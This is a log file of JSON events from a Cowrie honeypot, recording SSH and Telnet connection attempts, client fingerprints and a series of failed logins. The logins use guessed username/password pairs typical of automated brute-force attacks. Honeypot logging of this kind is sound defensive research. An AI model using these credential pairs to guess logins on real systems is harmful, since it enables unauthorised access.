{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:50.730773Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"140285","message":"login attempt [user/140285] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:51.201697Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"14021993","message":"login attempt [user/14021993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:52.304366Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"135799","message":"login attempt [user/135799] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:53.407184Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13572468","message":"login attempt [user/13572468] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:54.509985Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"135135","message":"login attempt [user/135135] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:55.612055Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:12:56.714539Z","src_ip":"2.57.121.25","session":"d0d27c09aaff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36100,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b94ecf054df","protocol":"ssh","message":"New connection: 194.59.206.2:36100 (10.17.0.5:22) [session: 8b94ecf054df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:24.872135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:24.878699Z","src_ip":"194.59.206.2","session":"8b94ecf054df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:24.971746Z","src_ip":"194.59.206.2","session":"8b94ecf054df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:25.069652Z","src_ip":"194.59.206.2","session":"8b94ecf054df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":25550,"dst_ip":"159.203.135.109","dst_port":22,"session":"697997579934","protocol":"ssh","message":"New connection: 2.57.121.112:25550 (159.203.135.109:22) [session: 697997579934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:59.062732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:59.067538Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:59.167122Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oldsmobi","message":"login attempt [admin/oldsmobi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:13:59.638592Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"olddog","message":"login attempt [admin/olddog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:14:00.740523Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ogre","message":"login attempt [admin/ogre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:14:01.844121Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"oakridge","message":"login attempt [admin/oakridge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:14:02.947909Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nurik","message":"login attempt [admin/nurik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:14:04.051041Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:14:05.156567Z","src_ip":"2.57.121.112","session":"697997579934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36625,"dst_ip":"10.17.0.5","dst_port":23,"session":"c591ece2a4eb","protocol":"telnet","message":"New connection: 212.55.149.117:36625 (10.17.0.5:23) [session: c591ece2a4eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:14:26.792974Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":34196,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1fd776bbdd2","protocol":"ssh","message":"New connection: 2.57.122.238:34196 (10.17.0.5:22) [session: b1fd776bbdd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:15:09.629257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:15:09.634687Z","src_ip":"2.57.122.238","session":"b1fd776bbdd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:15:09.735116Z","src_ip":"2.57.122.238","session":"b1fd776bbdd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"12345678","message":"login attempt [sol/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:15:10.041705Z","src_ip":"2.57.122.238","session":"b1fd776bbdd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:15:11.144653Z","src_ip":"2.57.122.238","session":"b1fd776bbdd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.49124836921692,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:15:29.284088Z","src_ip":"212.55.149.117","session":"c591ece2a4eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":50046,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad3388fc9bc","protocol":"ssh","message":"New connection: 103.15.226.202:50046 (10.17.0.5:22) [session: 4ad3388fc9bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:16:20.664076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:16:20.668683Z","src_ip":"103.15.226.202","session":"4ad3388fc9bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:16:20.906607Z","src_ip":"103.15.226.202","session":"4ad3388fc9bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"CSync2026Secure","message":"login attempt [root/CSync2026Secure] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:16:21.622395Z","src_ip":"103.15.226.202","session":"4ad3388fc9bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:16:22.868094Z","src_ip":"103.15.226.202","session":"4ad3388fc9bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":50135,"dst_ip":"10.17.0.5","dst_port":23,"session":"e413d99d1163","protocol":"telnet","message":"New connection: 212.55.149.117:50135 (10.17.0.5:23) [session: e413d99d1163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:19:26.873015Z"}
{"eventid":"cowrie.session.closed","duration":0.010129928588867188,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:19:26.882884Z","src_ip":"212.55.149.117","session":"e413d99d1163","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":60254,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc3b25f45ff8","protocol":"ssh","message":"New connection: 103.15.226.202:60254 (10.17.0.5:22) [session: fc3b25f45ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:19:56.733457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:19:56.737539Z","src_ip":"103.15.226.202","session":"fc3b25f45ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:19:56.983726Z","src_ip":"103.15.226.202","session":"fc3b25f45ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dhaka@123","message":"login attempt [root/Dhaka@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:19:57.724136Z","src_ip":"103.15.226.202","session":"fc3b25f45ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:19:58.980621Z","src_ip":"103.15.226.202","session":"fc3b25f45ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":43713,"dst_ip":"10.17.0.5","dst_port":23,"session":"94b527e844c1","protocol":"telnet","message":"New connection: 212.55.149.117:43713 (10.17.0.5:23) [session: 94b527e844c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:21:32.207770Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.45.137.133","src_port":43250,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdc0efd3096e","protocol":"telnet","message":"New connection: 154.45.137.133:43250 (159.203.135.109:23) [session: fdc0efd3096e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:21:37.996951Z"}
{"eventid":"cowrie.session.closed","duration":12.592814445495605,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:21:50.589627Z","src_ip":"154.45.137.133","session":"fdc0efd3096e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.53.190.26","src_port":35996,"dst_ip":"159.203.135.109","dst_port":23,"session":"2aed6b26e5c5","protocol":"telnet","message":"New connection: 182.53.190.26:35996 (159.203.135.109:23) [session: 2aed6b26e5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:09.320799Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33742,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d97b9c453df","protocol":"ssh","message":"New connection: 194.59.206.2:33742 (159.203.135.109:22) [session: 4d97b9c453df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:21.463578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:21.490759Z","src_ip":"194.59.206.2","session":"4d97b9c453df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:21.565293Z","src_ip":"194.59.206.2","session":"4d97b9c453df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:21.731057Z","src_ip":"194.59.206.2","session":"4d97b9c453df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.746664762496948,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:22.067359Z","src_ip":"182.53.190.26","session":"2aed6b26e5c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.25.10.167","src_port":58996,"dst_ip":"10.17.0.5","dst_port":22,"session":"bc6d75a97eea","protocol":"ssh","message":"New connection: 69.25.10.167:58996 (10.17.0.5:22) [session: bc6d75a97eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.239456Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T16:22:47.244097Z","src_ip":"69.25.10.167","session":"bc6d75a97eea","protocol":"ssh"}
